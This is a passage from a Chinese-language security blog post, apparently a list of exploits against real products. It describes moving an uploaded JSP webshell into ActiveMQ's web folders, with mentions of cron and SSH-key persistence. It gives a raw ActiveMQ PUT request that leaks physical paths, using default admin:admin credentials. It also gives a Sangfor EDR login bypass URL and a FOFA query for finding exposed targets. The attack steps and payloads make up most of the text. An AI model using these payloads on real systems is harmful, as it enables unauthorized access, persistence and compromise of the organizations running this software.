Cache-Control: no-cache

Authorization: Basic YWRtaW46YWRtaW4=

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=198ftdqvhznw0k69vo88mfp5m

Connection: close

Content-Length: 611

 

jsp

返回204其实就是成功了。

把此文件移动到web目录下的admin或者api文件夹(“/opt/activemq/webapps/admin/123.jsp”)

注:重新抓一个包来修改成移动文件的包,用之前老包改的包发过去无响应。

尝试访问:

同样,也可以写一个cron,然后移动到/etc/cron.d/下:

以及写入ssh公钥,在此不再赘述。

二、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(/fileserver/a../../%08/..%08/.%08/%08)(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1

Host: 192.168.197.25:8161

Authorization: Basic YWRtaW46YWRtaW4=

Content-Length: 4

test

Response Raw:

HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)

Content-Length: 0

Server: Jetty(7.6.7.v20120910)


19、深信服EDR终端检测响应平台免登陆

在fofa上搜索title=”终端检测响应平台”:

payload:https://ip:prot/ui/login.php?user=admin(用户名随意写)

就可以登录后台:


文章总结




希望对大家有所帮助

走过路过的大佬们留个关注再走呗

  如果对你有所帮助,请点个分享、赞、在看呗!




 


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存